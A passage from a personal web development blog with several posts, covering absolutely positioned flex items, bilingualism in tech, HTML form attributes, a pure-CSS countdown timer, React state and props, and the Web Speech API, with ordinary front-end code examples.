The next part explains that the absolutely positioned item behaves like it is the sole flex item in the flex container. So distil your mental model down to:

The box alignment properties still apply to the flex item even if it is absolutely positioned, which means using align-self will have an effect. Details of how normal behaviour works in this case can be found in the relevant section of CSS Box Alignment Module Level 3.

Additional information I won't go into: 8. Sizing and positioning details which details how absolutely positioned elements are sized. (Maybe this might be a blog post in future)

The maybe bug in DevTools

Firefox DevTools has a feature that informs you why certain CSS is inactive. It's pretty cool and I lean on it for layout related properties when I build stuff. However, it says that the align-self property is not active because the absolutely-positioned item is not a flex item.

I don't really agree with this though…

But it does have an effect. And the browser itself is behaving as expected. So I guess this is a DevTools bug? I'm not sure, so I filed a bug and am hoping someone will triage it.

Browser works perfectly

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

TLDR on why I absoluted a flex item

For now, the way my application works, all video streams go into a single parent container. I want to have the ability to focus on a single stream and make that the large size display (common UI pattern in most video conferencing clients).

That happens when a .focused CSS class is added to the selected stream element container, but because all the streams are on the same level, this is a sort of hacky way to get that effect. We shall see if I can modify the mark-up but as of now, I don't know how.

Anyway, the project I'm working on is on GitHub, if anyone is remotely interested.

It's slow going and very WIP, and if you think it looks decent, that's because I run away from my harder problems and work on layout instead. ¯\_(ツ)_/¯

Being a bilingual developer

Wed, 26 Feb 2020 00:00:00 GMT

It's been a while since I wrote a pure opinion post. If this is your first encounter with me, let's just say I am a relatively opinionated person. The “Opinion” tag is third on the most-used list of tags on my site (behind “CSS” and “Design”). So today's opinion is about language.

In theory, I am bilingual, fluent in both English and Chinese. In reality, English is my working language. I write emails, blog posts, documentation, talks, content and so on in English 95% of the time. Working language (especially in tech) and daily use language is really quite different IMO.

Some background on my background

So I grew up straddling the border of Malaysia and Singapore, living in Malaysia while studying in Singapore. Singapore uses English as its medium of education, with students' mother tongues being taught as a single language subject.

Being Malaysian Chinese though, I conversed mostly in Chinese with my Chinese friends but all of us, regardless of ethnicity, slipped in and out of our mother tongues and English without skipping a beat. It was mostly a mixture of English, Chinese, Malay, plus a smattering of dialects.

We can then skip forward about a decade later when I started getting interested in East Asian typography. That was around 2016, when I learned about the HTML Ruby element, then vertical writing modes in CSS.

One thing led to another and soon I was down a rabbit hole of Unicode specifications, W3C documentation and research into the digitisation of Chinese publishing.

I got in touch with the Chinese Layout Task Force and volunteered to help out with some outstanding translations from Chinese to English, because the Requirements for Chinese Text Layout document was to be written in Simplified Chinese, Traditional Chinese as well as English.

Most of the content was first written in Chinese, and at the time, some of it hadn't been translated to English yet. Translating Chinese to English was fairly easy for me because English was my main working language.

Our calls were in Chinese though, and I gradually improved my Chinese vocabulary, which had stagnated since I left school (there's only so much variety in daily conversation, much of it mundane).

I had started reading more typography articles written in Chinese as well, but still didn't feel I was good enough to write original Chinese content.

The turning point

In 2019, I was invited to speak at CSSConf China, and chose to give my talk in Chinese. Because it seemed like a good idea at the time. Also, it was like a bucket list kind of thing, you know. “Give talk at conference in mother tongue.” *check*

Thankfully, the fates gifted me the opportunity to cross paths with Wei over a month before the conference date. And she pretty much edited out all the weird sentence structures I had in my script.

The talk went reasonably well. I personally think the audience had lower expectations of my standard of Chinese given I wasn't local (dis is a good thing), and was maybe pleasantly surprised I kind of sounded local.

Southeast Asian Chinese are almost entirely migrants from Southern China, the conference was in Shenzhen. A small plus was that I could speak Hokkien and a bit of Cantonese, which are dialects used in Southern China.

By then I had also joined Nexmo as their APAC developer advocate, and having no prior experience in DevRel (hey, I never complain about lucky breaks), my strategy the first year was to throw everything at the wall and see if anything sticks. At the same time hoping the wall doesn't fall over.

One of those ideas was to have localised content, so I started attempting to write Chinese content. That was REALLY slow going. It took me probably 3 times longer than if I would have wrote the same thing in English, but hey, the only way to get better at something is to do it, no?

Some random thoughts and insights

CSSConf China was the first non-English conference I had attended and the speakers were amazing. It is hard to put into words but the feeling was different from other conferences I'd attended before. I don't know if it was because I had to parse the words I heard differently because it was a different language.

What was indisputable was how each speaker had such a distinctly different style and personality that shone through on that stage. I feel that Chinese is a much richer language than English and perhaps that's why it felt more memorable to me.

Of course, I am biased here. So reminder to all that this is an Opinion, and you are free to have yours and disagree with mine. However, medium of delivery aside, I also learned about how different developers operated in China, as well as how similarly they did things.

Which made me wonder, how much perspective is hidden away from each and every one of us because things lose meaning in translation and certain concepts just don't come through if you do not speak the language. I say this as a musing, because I have no solution.

But there is a treasure trove of content written by Chinese developers that I only discovered after my experience at CSSConf China. Which made me think, what about all the other languages the world's developers share content in?

Some of you may say, learn more languages then? Easier said than done, my friends. Personally, if I hadn't grown up Chinese, I doubt I'd be able to pick it up later in life, it just feels hard as a second language (but maybe that's the same for every language and I'm just shit at languages).

I once asked a couple friends of mine who spoke multiple languages what language their thoughts were in. For me, it's both in about equal measure. One mentioned she thinks in English but counts in French. Then I also discovered not everyone has a running monologue in their head ¯\_(ツ)_/¯.

A friend asked me once if I had inner monologues in English or Chinese, and the question surprised me because I thought people just form abstract thoughts like I do and convert it into speech only when it needs to vocalised to someone else or written.
— Shi Ling (@taishiling) February 2, 2020

So what's your point?

I actually don't really have one, so maybe this wasn't an opinion as much as it was a bunch of random musings. The only analogy I can come up with is that each and every one of us has a unique yet constantly evolving algorithm for processing the inputs we encounter in our lives.

The exact same inputs will be processed completely differently by two different people, hence the output will probably never be the same unless via chance coincidence. They could be similar or close enough for people to develop some sort of connection, and I think that's probably the best we can do.

Does that mean someone with a vastly different output is wrong? I don't think so. Our processing algorithms are an amalgamation of our personalities, our environments and our life experiences. To me, language, which is closely intertwined with culture, has a large influence on the latter two vectors.

Maybe my opinion is this. Being able to be fluent in multiple languages not only benefits from a communication standpoint, but also allows us to have broader world views because language literally impacts how we think about things.

Anyway, I feel really lucky to have grown up in an environment that allowed me to be fluent in two languages. That is all.

On attributes for HTML form elements

Sat, 01 Feb 2020 00:00:00 GMT

I often come across tutorials about building forms on the web. In spite of all the newfangled techniques and frameworks we now have to perform actions on web pages, the trusty old HTML form still has its place.

There is an article published by Hugo Giraudel on Apollo GraphQL without JavaScript where they describe how the GraphQL-powered N26 web platform can still work when JavaScript is not available.

Hint, it involves HTML forms.

Which led me to wonder how many people really know about the different attributes that come baked in with HTML form elements. For example, the type attribute.

I wonder… about many things…

Hang on, I can almost hear some of you saying, of course you know about them, you just typed <input type="text"> for the millionth time yesterday.

And being the annoying person that I am, I'm very tempted to reply, well actually… the default type attribute for <input> is text and it would still work and validate even if you didn't include it.

Yes, my friends, some HTML attributes have default values (as does all CSS, FYI).

There is no harm in including type="text", and some people might even prefer to have it there, for reasons, and that's fine.

This is just a gentle reminder in a world where people seem to be searching for all manner of ways and means to shave bytes, that default values don't really have to be there.

Same goes for the <button> element. The default type is submit, which means if you had a vanilla HTML form like so:

<form action="/login">
  <label for="username">Username</label>
  <input name="username" id="username" />

  <label for="password">Password</label>
  <input name="password" type="password" />

  <button>Login</button>
</form>

And you clicked the button, or pressed the Enter key, your form would submit to /login. Guess what? The method attribute on <form> elements also has a default value, which is GET.

Please don't submit any sensitive information, like a password via the form's GET method because it becomes visible in the URL. Go ahead, throw the above form into a blank HTML file and try it. Using POST will send the form data in the body of the HTTP request.

So if you wanted a button to do things other than submit a form, you can always use <button type="button">, which gives you a clickable button that does… nothing. So you can attach whatever event listeners you like to it and make it trigger whatever you want.

I've come across tutorials for frameworks that were great at explaining the framework bit of things, but had shockingly nested <div> soups for markup. Or utilised JavaScript to write functionalities that could have been achieved with attributes instead.

My shocked face…or close enough

Say you want to have a character limit on your comments, which are input via a <textarea>. You can use the maxlength attribute. The browser will prevent any further input past the specified character length.

<textarea maxlength="140"></textarea>

Or if you'd like your users to input comments that are longer than just a smiley face. You can use the minlength attribute. Depending on the browser you're using, it is a slightly different user experience but try submitting the form with less than 10 characters.

This is not a rant at the state of the web today (okay, maybe just a little bit). Rather, I want this to be an invitation to explore and discover which of these many wonderful attributes are most useful to you.

Then use them.

They are fully compatible with the framework of your choice.

Especially to all who are either hearing of these attributes for the first time, or never got around to using them.

So, at the risk of sounding like some grumpy old person yelling “get off my lawn” at the cool kids, I just want to end off with a quote from one of my esteemed seniors from a previous company.

The best code is the code not written.

Cheers, my friends. 🥃

Can you make a countdown timer in pure CSS?

Sat, 25 Jan 2020 00:00:00 GMT

I must first apologise for the somewhat rhetorical question as the title. About 3 minutes after I wrote it, my brain exclaimed: “This is clickbait! Clearly if you wrote an entire blog post, the answer should be yes, right??”

Which led me to my next thought. When people write such titles, do they end with a negative conclusion, where the answer is no? What are the statistics on article titles like this? I have so many questions!

This is also why I don't have many friends. Oh well.

Warning, blog post grew ridiculously long. TL:DR of things is, yes you can do it in CSS but there's a much better way. Involves JavaScript, more details here if you want to skip through the CSS stuff.

Why even countdown in CSS?

Okay, I did not think about this topic out of the blue. I have a friend (I hope she thinks I'm her friend). She tweeted her problem:

I have a countdown timer and I need to show the milliseconds from 99 to 0. 9 to 0 has to be in single digit and centered. The font color and background color of the countdown timer is customisable. This timer will be implemented on both mobile and pc web page. Suggestions?
— Chong Jia Wei (@heyjiawei) January 16, 2020

The way my brain works is to wonder if everything can be built with CSS (the correct answer is no, not really, but you can still try because it's fun). Even though not everything can nor should be built with only CSS, this timer thing seemed narrow enough to be plausible.

I describe this as a brute-force method, because the underlying markup consists of all the digits from 0 to 9. You then have to animate them to mimic a timer. So maybe it is not the most elegant approach. But it can fulfil the requirements from the tweet!

Here's the list of concepts used for this implementation:

CSS transforms
CSS animations
Flexbox
Demo-only: CSS custom properties
Demo-only: Selectors

Demo-only just means that it's additional functionality sprinkled on to make the demo slightly more fancy. Feel free to cut it out if, for whatever reason, you want to fork the code and use it somewhere.

See the Pen Pure CSS countdown from 99 to 0 by Chen Hui Jing (@huijing) on CodePen.

The general approach

If you Google “pure CSS countdown”, my approach of listing all the digits in the markup then doing some form of obscuring the irrelevant digits seems to be the most common solution. This is the markup for the 2 digits making up the timer:

<div class="timer">
  <div class="digit seconds">
    <span>9</span>
    <span>8</span>
    <span>7</span>
    <span>6</span>
    <span>5</span>
    <span>4</span>
    <span>3</span>
    <span>2</span>
    <span>1</span>
    <span>0</span>
  </div>
  <div class="digit milliseconds">
    <span>9</span>
    <span>8</span>
    <span>7</span>
    <span>6</span>
    <span>5</span>
    <span>4</span>
    <span>3</span>
    <span>2</span>
    <span>1</span>
    <span>0</span>
  </div>
</div>

The idea is to animate the digits from 9 to 0 by vertically scrolling the block of digits and only showing the required digits at any point in time.

CSS transforms

The only CSS properties that are “safe” for animation are transform and opacity. If you're wondering why that is, allow me to point you to my favourite explanation by Paul Lewis and Paul Irish on High Performance Animations.

To animate my digits <div>s upward, I turned to the trusty translateY property. For this use case, my <div> is only moving along the y-axis anyway.

.selector {
  transform: translateY(0);
}

You could do the same with the translate property, but then you'd have to state the value for the x-axis as well because a single value in translate resolves to the x-coordinate.

.selector {
  transform: translate(3em);
}
/* is equivalent to */
.selector {
  transform: translate(3em, 0);
}

Read more about the transform functions in the CSS Transforms Module Level 1 specification. The actual math is in there, and even if that's not your cup of tea, there are numerous examples in there that can help with understanding how the properties work.

CSS animations

The next step is to animate the transform over time. Cue CSS animations.

The CSS animation properties offer a pretty decent range of functionality to make such an approach feasible. I know them because I researched this when I tried to animate the SingaporeCSS and React Knowledgeable unofficial official mascots last year.

Keyframes are a critical concept when you do animation. Keyframes are what you use to specify values for the properties being animated at specified points during the entire animation. They are specified with the @keyframes at-rule.

@keyframes seconds {
  0% {
    transform: translateY(0);
  }
  10% {
    transform: translateY(-1em);
  }
  20% {
    transform: translateY(-2em);
  }
  30% {
    transform: translateY(-3em);
  }
  40% {
    transform: translateY(-4em);
  }
  50% {
    transform: translateY(-5em);
  }
  60% {
    transform: translateY(-6em);
  }
  70% {
    transform: translateY(-7em);
  }
  80% {
    transform: translateY(-8em);
  }
  90% {
    transform: translateY(-10em);
    width: 0;
  }
  100% {
    transform: translateY(-10em);
    width: 0;
  }
}

@keyframes milliseconds {
  0% {
    transform: translateY(0);
  }
  10% {
    transform: translateY(-1em);
  }
  20% {
    transform: translateY(-2em);
  }
  30% {
    transform: translateY(-3em);
  }
  40% {
    transform: translateY(-4em);
  }
  50% {
    transform: translateY(-5em);
  }
  60% {
    transform: translateY(-6em);
  }
  70% {
    transform: translateY(-7em);
  }
  80% {
    transform: translateY(-8em);
  }
  90% {
    transform: translateY(-9em);
  }
  100% {
    transform: translateY(-9em);
  }
}

I'll explain the values after covering the animation properties needed for the countdown.

In my demo, I've gone with the shorthand of animation so the code looks like this:

.seconds {
  animation: seconds 10s 1 step-end forwards;
}

.milliseconds {
  animation: milliseconds 1s 10 step-end forwards;
}

If you open DevTools on the demo, and go to the Computed tab (for Firefox or Safari, Chrome displays this list under their box model in Styles), you will see the computed values for each of the different CSS properties used on your page.

From there you can see that the animation shorthand I used explicitly covers the following properties:

animation-name

This is used to identify the animation, and you can use any combination of case-sensitive letters a to z, numerical digits 0 to 9, underscores, and/or dashes.

The first non-dash character must be a letter though, and you cannot use -- nor reserved keywords like none, unset, initial or inherit to start the name.
animation-duration

This sets the length of time your animation should take to complete 1 cycle. So for the seconds column of digits, I set it to 10s while for the milliseconds column of digits, I set it to 1s.
animation-iteration-count

This sets the number of times the animation should cycle through before stopping. The seconds column only needs to run once, while the milliseconds column needs to run through its animation cycle 10 times.
animation-timing-function

This describes how the animation progresses throughout the duration of each cycle. Timing functions can be fairly granular if you are familiar with cubic-bezier() functions but I most often see people use keyword values for general use-cases.

I used the step-end keyword, which resolves to steps(1, jump-end). The steps() function allows us to have stepped animation, where the first argument indicates the number of stops during the transition. Each stop is displayed for an equal amount of time.

jump-end allows me move my <div> upward in steps instead of a smooth scroll, and pause at the end value of translateY. This is a terrible sentence and even more horrible explanation.

Please refer to Jumps: The New Steps() in Web Animation by Dan Wilson for a much better explanation. Visual demos and code in there!
animation-fill-mode

This lets you dictate how a CSS animation applies its styles to the target before and after the animation runs. I wanted the position of my <div>s to remain at the last keyframe when the animation ends, so I set this value to forwards.

For the seconds digit, the last 2 frames don't need to be shown at all because the timer is not zero-padded. When the countdown hits 9, the seconds digit needs to not show up nor take up space. So those keyframes have an additional width: 0 property on them.

Also, because I went with forwards for the animation-fill-mode, to make the 0 stay on screen at the end of the animation, the last frame for milliseconds remains at -9em.

Read more about CSS animations in the CSS Animations Level 1 specification. It broadly explains how animations work in the context of CSS, then covers in detail each of the individual animation properties. Also, examples of working code aplenty.

Flexbox

This is my favourite part. The requirement is that during the last second, when only the digits 9 to 0 remain on display, the whole timer has to be aligned center.

Here's where it is time to reveal the JavaScript solution, which is honestly, much more straightforward. The key here is Window.requestAnimationFrame(). Here's the MDN entry for it.

You're welcome.

let end;
const now = Date.now;
const timer = document.getElementById("timer");
const duration = 9900;

function displayCountdown() {
  const count = parseInt((end - now()) / 100);
  timer.textContent = count > 0 ? (window.requestAnimationFrame(displayCountdown), count) : 0;
}

function start() {
  end = now() + duration;
  window.requestAnimationFrame(displayCountdown);
}

This implementation is also so much easier to style, because Flexbox.

<div class="timer-container">
  <p class="timer" id="timer">99</p>
</div>

.timer-container {
  display: flex;
  height: 100vh; /* height can be anything */
}

.timer {
  margin: auto;
}

When I started this post, I already said, just because you can do something with pure CSS doesn't mean you should. This is the prime example. Anyway, here's the Codepen with the same enhanced-for-demo-purposes functionality sprinkled on.

See the Pen Countdown from 99 to 0 by Chen Hui Jing (@huijing) on CodePen.

But let us continue with the pure CSS implementation, even if it is just an academic exercise at this point.

.timer-container {
  display: flex;
  height: 100vh; /* height can be anything */
}

.timer {
  overflow: hidden;
  margin: auto;
  height: 1em;
  width: 2ch;
  text-align: center;
}

.digit {
  display: inline-block;
}

.digit span {
  display: block;
  width: 100%;
  height: 1em;
}

If you compare this with the JavaScript implementation, you'll notice a lot of similarities.

Yes, my friends. If you had suspected that I was using the modern-day CSS answer to vertical centring on the web, you are absolutely right. Auto-margins is the mechanism in play here.

To be fair, the display: flex and auto-margin on flex child technique centralises the whole timer block. Within the timer itself, the text should be centre-aligned with the text-align property.

Read more about Flexbox in the CSS Flexible Box Layout Module Level 1 specification. It is the definitive resource for how Flexbox works and even though it is fairly lengthy, there are plenty of code examples in there to help you visualise how things work.

Fun demo extra #1: Dynamic colour changing

Another requirement was for the font colour and background colour to be customisable. I'm pretty sure she meant in the code and not on the fly, but since we can do this on the fly, why not?

Cue CSS custom properties and the HTML colour input. Before you ask me about support for the colour input, I shall invoke first strike and display the caniuse chart for it.

Come on, this is pretty green here. So anyway, declare your custom properties for font colour and background colour like so:

:root {
  --fontColour: #000000;
  --bgColour: #ffffff;
}

Use them in the requisite elements like so:

.timer {
  /* other styles not shown for brevity */
  background-color: var(--bgColour, white);
}

.digit {
  /* other styles not shown for brevity */
  color: var(--fontColour, black);
}

That's the set up for the timer itself. Now, control these colours with the colour input. Toss in 2 colour inputs into the markup and position them where you like. I went with the top-right corner.

<aside>
  <label>
    <span>Font colour:</span>
    <input id="fontColour" type="color" value="#000000" />
  </label>
  <label>
    <span>Background colour:</span>
    <input id="bgColour" type="color" value="#ffffff" />
  </label>
</aside>

Then, you can hook up the colour picker with the custom properties you declared in the stylesheet like so:

let root = document.documentElement;
const fontColourInput = document.getElementById("fontColour");
const bgColorInput = document.getElementById("bgColour");

fontColourInput.addEventListener("input", updateFontColour, false);
bgColorInput.addEventListener("input", updateBgColour, false);

function updateFontColour(event) {
  root.style.setProperty("--fontColour", event.target.value);
}

function updateBgColour(event) {
  root.style.setProperty("--bgColour", event.target.value);
}

It's not that much code, and kind of fun to play with in a demo, IMHO.

Fun demo extra #2: Checkbox hack toggle

I could have left the demo to start automatically when the page loaded and letting people refresh the page to start the animation again, but I was going all in with the pure CSS thing, so…

Anyway, checkbox hack plus overly-complicated selectors. That's how this was done. If you had just gone with JavaScript, which is probably the right thing to do, you could used a button with an event listener. But you're too deep in this rabbit hole now.

I built this bit such that when unchecked, the label shows Start but when the input is checked, the label shows Restart. Because why not make things more complicated?

.toggle span {
  font-size: 1.2em;
  padding: 0.5em;
  background-color: palegreen;
  cursor: pointer;
  border-radius: 4px;
}

input[type="checkbox"] {
  opacity: 0;
  position: absolute;
}

input[type="checkbox"]:checked ~ aside .toggle span:first-of-type {
  display: none;
}

.toggle span:nth-of-type(2) {
  display: none;
}

input[type="checkbox"]:checked ~ aside .toggle span:nth-of-type(2) {
  display: inline;
}

The actual bit that triggers the animation looks like this:

input[type="checkbox"]:checked ~ .timer .seconds {
  animation: seconds 10s 1 step-end forwards;
}

input[type="checkbox"]:checked ~ .timer .milliseconds {
  animation: milliseconds 1s 10 step-end forwards;
}

With the checkbox hack, the order of the elements on the page does matter because you can only target sibling selectors after an element and not before it. So the checkbox needs to be as near the top (and not nested) as possible.

Wrapping up

Truth be told, I think I'm a terrible technical writer because most of my posts are so long I reckon only a tiny handful of people ever read through the whole thing.

But this is my blog, and not some official documentation, so I'm kinda going to keep doing whatever and writing these ramble-y posts.

At least I try to organise the content into coherent sections? Okay, to be fair, if I was writing for a proper publication, I'd put on my big girl pants and write concisely (like a professional, LOL).

Unfortunately, this is not a proper publication. ¯\_(ツ)_/¯ Anyway, much love if you really made it through the whole thing. Hope at least some of it was useful to you.

Credits: OG:image from autistic.shibe's instagram

Basics of State and Props in React (2020 edition)

Tue, 21 Jan 2020 00:00:00 GMT

So I've finally decided to sit my butt down and learn React properly. I'll talk a little bit about my opinion on React and why it took me so long to actually do this at the end, feel free to ignore it if you have better things to do with your life.

I recall a chat I had with Shawn Wang on learning React and he mentioned how a few years ago, it was possible to read all the literature available and more or less figure out what was going on. But it's more tricky now because there's so much more information.

(Well, in theory, you can sort of still go back and read the entire React blog from 2013 to get a feel of how things changed over time. Also, Shawn is amazing, follow him on ALL the things)

React was (kind of?) official announced at JSConfUS 2013 so as of time of writing, that makes it over 6 years old. Ways of doing things have changed as new features have been released, and stuff got deprecated. Which brings us to 2020, when Hooks are the new hotness.

What are props?

Props are plain JavaScript objects that contain information. They can be used to pass data between React components.

What is state?

State is also a plain JavaScript object that contains information. It represents the dynamic parts of the React component, i.e. data that can change.

Let's talk about components

One of the key features of React is it is a component-based architecture. It says so on their website. The point is, a complex user-interface can be built up by combining different smaller components. Data flows and is managed via state and props.

There are a couple of ways to define a React component. You can use a function like so:

function Player(props) {
  return (
    <p>
      {props.name} plays for the {props.team}
    </p>
  );
}

Or you could use classes like so:

class Player extends React.Component {
  render() {
    return (
      <p>
        {this.props.name} plays for the {this.props.team}
      </p>
    );
  }
}

But where did the props come from? You might ask.

As mentioned earlier, props are used to pass data between components. Things might look clearer if we examined the bigger application.

function Player(props) {
  return (
    <p>
      {props.name} plays for the {props.team}.
    </p>
  );
}

function App() {
  return (
    <div>
      <Player name="Ashlyn Harris" team="Orlando Pride" />
      <Player name="Megan Rapinoe" team="Reign FC" />
      <Player name="Julie Ertz" team="Chicago Red Stars" />
    </div>
  );
}

ReactDOM.render(<App />, document.getElementById("root"));

Based on the above example, you can see that the props came from the JSX attributes on the Player component. This is what ends up getting rendered in the browser:

<div id="root">
  <div>
    <p>Ashlyn Harris plays for the Orlando Pride.</p>
    <p>Megan Rapinoe plays for the Reign FC.</p>
    <p>Julie Ertz plays for the Chicago Red Stars.</p>
  </div>
</div>

What is `this`?

Some of you may have noticed that the function component uses props.name while the class component uses this.props.name to access the required data. this is not a React thing, it is a JavaScript thing. It is a JavaScript thing that has spawned more blog posts that I can count.

Let me try to give you the short version. Everything in JavaScript is an object. this refers to the object which is the current execution context of your bit of code.

Smarter people than me have explained this in depth so please feel free to read any or all of the following:

Personally, React made understanding this even more important because of how events are handled. Bear with me on this (Get it? this? Okay, I'm sorry, my humour is terrible)

Event handling

React implements its own synthetic event handling, which their cross-browser wrapper around the browser's native event. It works great, that's not the problem. The issue is how JavaScript handles functions in general.

In JSX, the event handler is passed as a function, i.e. <button onClick={handleClick}>Click me</button> instead of a string as is the case in HTML, i.e. <button onclick="handleClick()">Click me</button>. The thing is, class methods are not bound by default in JavaScript.

When we pass the handleClick function to onClick, we are passing a reference to handleClick. The function is called by React's event handling system so the context of this gets lost. If you don't bind this.handleClick and pass it to onClick, this ends up being undefined when you call the function.

I highly suggest reading Understanding this and .bind() for an in-depth explanation.

Updating state with event handlers

A very common use-case for event handlers is to update the state of your React component. The suggested way of ensuring this works correctly in your class component is to bind it in the constructor.

class Button extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      clicked: false,
    };
    this.handleClick = this.handleClick.bind(this);
  }

  handleClick() {
    this.setState((state) => ({
      clicked: !state.clicked,
    }));
  }

  render() {
    return <button onClick={this.handleClick} />;
  }
}

But apparently, using bind() is icky for many people. No matter, there are ways around that. So the next suggested way of ensuring this works as planned is via arrow functions.

class Button extends React.Component {
  state = { clicked: false };

  handleClick = () => {
    this.setState((state) => ({
      clicked: !state.clicked,
    }));
  };

  render() {
    return <button onClick={this.handleClick} />;
  }
}

This is because arrow functions use the value of this in the scope it had been defined in. This is known as lexical scoping. The arrow function preserves its binding to this when it gets passed around.

Which brings us to the new hotness known as Hooks. According to the docs, Hooks let you use state and other React features without writing a class.

The React team found that classes were a barrier to learning React, unintentionally encouraged patterns that were detrimental to their attempts at optimisation, and also made tooling tricky.

In short, Hooks allow us to access more nifty React features without having to write classes. Embrace functions, my friends. When you use Hooks, guess what? No need to think about this.

function Button() {
  const [clicked, setClick] = useState(false);
  const handleClick = () => setClick(!clicked);

  return <button onClick={handleClick} />;
}

Demo

I built a demo of a generic social media app status component using the 3 different methods I went through above. The only interactive functionality is you can toggle the Like button, and input text in the text area up to 140 characters. ¯\_(ツ)_/¯

Feel free to fork it and mess around with the code. And please do tell me if anything I mentioned doesn't make sense, is bad practice or just plain wrong. This was essentially a brain dump of what I've been learning about React lately, so I expect many errors.

If you spot something wrong and have a spare minute, I'd appreciate it if you let me know :)

Useful further reading

Optional story time… (feel free to disagree with my opinion)

I've been late to the React party partially because I hadn't worked on any projects that used it, and also, I found the React community relatively more dramatic than most.

As such, I hadn't bothered to try it out and understand it until fairly recently. I consider this similar to the sentiment many developers have toward CSS (similar, not the same, because you can't run away from CSS though you can still somewhat run away from React).

In retrospect, I have been unfair to React, the technology. My approach to learning React was to go straight to the documentation (which I think is great), and also read posts by folks actually working on React or are very close to the codebase.

Because I want to know the rationale behind their design decisions, and the reason why certain things are done in a certain way. I appreciate it when they are able to articulate and explain new features and more importantly, the motivation behind them.

A big plus for me are also explanations of the trade-offs made, which provides excellent context of why certain limitations and issues exist. In a way, it is both easier and harder to learn React these days.

Easier because there are way more resources now and it's easier to find one that clicks with your learning style. Harder because there are way more resources now, and you might end up confused with the different ways of doing things that have changed over the years.

That being said, it's been fairly interesting so far, so let's see where this goes. I might write more brain dumps moving forward as well. It depends. Life.

Is your browser a polyglot?

Wed, 15 Jan 2020 00:00:00 GMT

Over the course of last year, I've gone over to Wei's workplace numerous times to disturb her and her colleagues during their internal sharing, not to be confused with the community meetup, React Knowledgeable. I think the internal sharing's unofficial name is RK Originals, maybe. Who knows?

Most time, I just sit there and do nothing, other times, I talk about stuff. The last thing I talked about was the Web Speech API, which stemmed from one of the many stupid ideas I have. Basically, I wanted to yell at my browser and make it change colours on a website.

It was for the 4th anniversary of Talk.CSS.

What do you mean, why?

So anyway, stupid website was built, and the yelling worked. I had to yell because until today, I have no idea where the microphone is on my MacBook. ¯\_(ツ)_/¯

During the talk, we messed around with the different options for voices (and hence accents), but we soon found that other than English, the options for other languages were limited.

Which led me to dig a little deeper into how international the Web Speech API actually is.

What is this Web Speech API?

The Web Speech API is not a web standard, it is a community report developed and published by the Speech API Community Group, with the first draft released by in 2012.

According to the document, this API is meant to:

enable developers to use scripting to generate text-to-speech output and to use speech recognition as an input for forms, continuous dictation and control

Note the 2 distinct parts, namely text-to-speech, where your browser can read out the text on the screen, and speech recognition, which lets us use voice as an input and interface medium.

Speech recognition in the browser. Now that sounds pretty interesting. Browser APIs are essentially JavaScript. Which is why someone like me who never went to school for Computer Science, can somehow cobble together projects that go beyond just a webpage.

I love the web.

But upon some further research, I soon realised that speech-to-text is not like text-to-speech. If you read through the Mozilla Wiki for the Web Speech API, it states that the speech recognition portion of the WebSpeech API allows websites to enable speech input within their experiences.

But it is not speech recognition by the browser. It is up to individual sites to determine how voice is integrated into the experience, how it is triggered and how to display recognition results.

In a sense, speech-to-text is slightly more complicated than text-to-speech because the processing is not done locally. Instead, the audio clip is sent over to Google’s Cloud Speech-to-Text.

The Speech to Text section of Google's privacy whitepaper states that:

Chrome supports the Web Speech API, a mechanism for converting speech to text on a web page. It uses Google's servers to perform the conversion.
Using the feature sends an audio recording to Google (audio data is not sent directly to the page itself), along with the domain of the website using the API, your default browser language and the language settings of the website.
Cookies are not sent along with these requests.

This is why support for the SpeechRecognition interface of the WebSpeech API currently looks like this:

Note: I'm using the caniuse.com embed, which as of 28 Dec 2019, shows experimental support in Chromium-powered browsers only. So if you're reading this in the far future, I hope it's more green than red.

Then I discovered Mozilla's DeepSpeech, an open source Speech-To-Text engine, which implements a Tensorflow-trained model based on this research paper titled Deep Speech: Scaling up end-to-end speech recognition, published by Baidu.

In Firefox Nightly 72.0a1 (2019-10-22) and newer, the SpeechRecognition API is available behind a flag, and you have to turn the media.webspeech.recognition.enable and media.webspeech.recognition.force_enable preferences on to use it.

For now, the audio is processed by Google’s Cloud Speech-to-Text but Mozilla has plans to replace the service with DeepSpeech in 2020.

While reading the WebSpeech API document, I was curious about the language used to define the interface. It was then that I learned of the existence of the Web IDL, which is an interface description language used to describe interfaces to be implemented by browsers 🤯

Making my browser understand my yelling

People who are a lot more early-adopter than myself have been talking about voice interfaces and the WebSpeech API for years prior. So in a bid to get myself a little more familiarised, I decided to do what many web developers seem to gravitate toward.

I built a website (I don't know what constitutes an app so ¯\_(ツ)_/¯).

Specifically, I built a website I can yell CSS at. Okay, slightly untrue. I technically am yelling colours at the website, but named colours are legitimate CSS values, so…

This didn't require too much work because CSS values are by default in English (as with practically all programming languages). Speech-to-text quality for the English language is probably the most spot-on around, I'm guessing.

A bit about speech recognition

Speech recognition systems are meant to help computers parse and identify what is being said from human speech. If this sounds simple to you, I can assure you it is not. I mean, as a human, I can't even parse and identify what other humans say sometimes.

So current technology is unable to listen to any speech in any context and transcribe it accurately. Current speech recognition systems limit the bounds of what they listen to by using grammars. Grammars determine what the system should listen for and describe the utterances an user might say.

The WebSpeech API uses the JSpeech Grammar Format. If you peek at this specification, it defines a grammar as a set of rules that together define what may be spoken. I'm calling mine <colour>.

const colours = ['maroon', 'darkred', 'brown', … /* All 148 named CSS colours as an array of strings */];
const grammar = '#JSGF V1.0; grammar colours; public <colour> = ' + colours.join(' | ') + ' ;';

The | character is used as a separator for the list of colours I want in my defined grammar. Given that we have 148 named CSS colours, it'd be easier to have them in an array then use join() to format the strings nicely.

Basic idea and interface

What I had in mind at the start was something along the lines of this:

I assumed there needed to be some sort of button to trigger the permissions prompt that I often see when the browser wants to use your microphone for things. Since it's the only thing on the page, might as well make it huge, right?

And then, once we can capture someone's voice, we can transcribe that into a usable CSS named colour to be applied to the background of the site, preferably using CSS custom properties.

:root {
  --bg-colour: transparent;
}

body {
  background-color: var(--bg-colour, transparent);
}

/* namedColour should be the result from the speech recognition engine */
docBody.style.setProperty("--bg-colour", namedColour);

That's the general idea.

Someone did it already

A little bit into the project, I found that MDN already had a tutorial plus demo of a Speech color changer. Oh well.

But I must say that it is a very in-depth and well-written tutorial so if you're interested in getting started, I highly recommend it.

The bits of my website which use SpeechRecognition and SpeechSynthesis are similar to the demo, but I still ran into some trouble with the voiceschanged event for cross-browser compatibility.

I suppose that's what you get with experimental technologies and implementations, code gets stale real quick. So while we are on the topic of cross-browser support, I start off the code with this bit:

const speechRecognition =
  window.webkitSpeechRecognition ||
  window.mozSpeechRecognition ||
